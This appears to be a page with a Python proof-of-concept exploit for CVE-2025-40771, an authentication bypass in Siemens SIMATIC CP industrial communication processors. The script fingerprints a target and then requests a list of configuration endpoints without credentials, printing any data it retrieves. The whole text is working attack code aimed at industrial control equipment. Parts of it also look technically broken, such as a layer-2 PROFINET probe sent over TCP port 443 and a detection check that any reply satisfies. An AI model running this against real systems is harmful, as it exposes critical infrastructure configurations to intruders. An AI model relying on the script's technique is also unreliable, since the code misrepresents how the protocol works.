CVE-2025-40771：西门子SIMATIC CP通信处理器认证绕过漏洞

# CVE-2025-40771 PoC - Siemens SIMATIC CP Authentication Bypass # This PoC demonstrates unauthorized access to configuration data # on affected Siemens SIMATIC CP devices (firmware < V2.4.24) import requests import socket import sys from urllib3.exceptions import InsecureRequestWarning # Suppress SSL warnings for self-signed certificates requests.packages.urllib3.disable_warnings(InsecureRequestWarning) def scan_siemens_cp(target, port=443): """Detect Siemens SIMATIC CP device on the network""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target, port)) # Send PROFINET DCP identify request to detect device dcp_identify = b'\x00\x00\x00\x00\x00\x00\x00\x00\x88\x92\x00\x00\x00\x00' sock.send(dcp_identify) response = sock.recv(1024) if b'Siemens' in response or len(response) > 0: print(f"[+] Siemens device detected at {target}:{port}") return True sock.close() except Exception as e: pass return False def exploit_cve_2025_40771(target, port=443): """Exploit CVE-2025-40771 to access configuration without authentication""" # Common configuration endpoints on Siemens SIMATIC CP config_endpoints = [ "/Configuration/Configuration.xml", "/api/configuration", "/portal/Configuration.asp", "/cgi-bin/configuration.cgi", "/Diagnostics/Configuration.html", "/snmp/configuration", ] print(f"[*] Targeting {target}:{port}") print(f"[*] CVE-2025-40771 - Authentication Bypass on SIMATIC CP") for endpoint in config_endpoints: url = f"https://{target}:{port}{endpoint}" try: # No authentication credentials provided - exploiting the vulnerability response = requests.get( url, verify=False, timeout=10, headers={ "User-Agent": "Mozilla/5.0 (compatible; SiemensCP-Client)", "Accept": "application/xml, text/html, */*" } ) if response.status_code == 200 and len(response.content) > 0: print(f"[+] SUCCESS: Accessed {endpoint} without authentication!") print(f"[+] Response length: {len(response.content)} bytes") print(f"[+] Configuration data:\n{response.text[:500]}") return response.text except requests.exceptions.RequestException as e: continue print("[-] Could not access configuration endpoints") return None if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") print(f"Example: {sys.argv[0]} 192.168.1.100 443") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 443 if scan_siemens_cp(target, port): config_data = exploit_cve_2025_40771(target, port) if config_data: print("\n[!] Vulnerability CVE-2025-40771 confirmed!") print("[!] Unauthorized access to configuration data successful") else: print("[-] Target does not appear to be a Siemens SIMATIC CP device")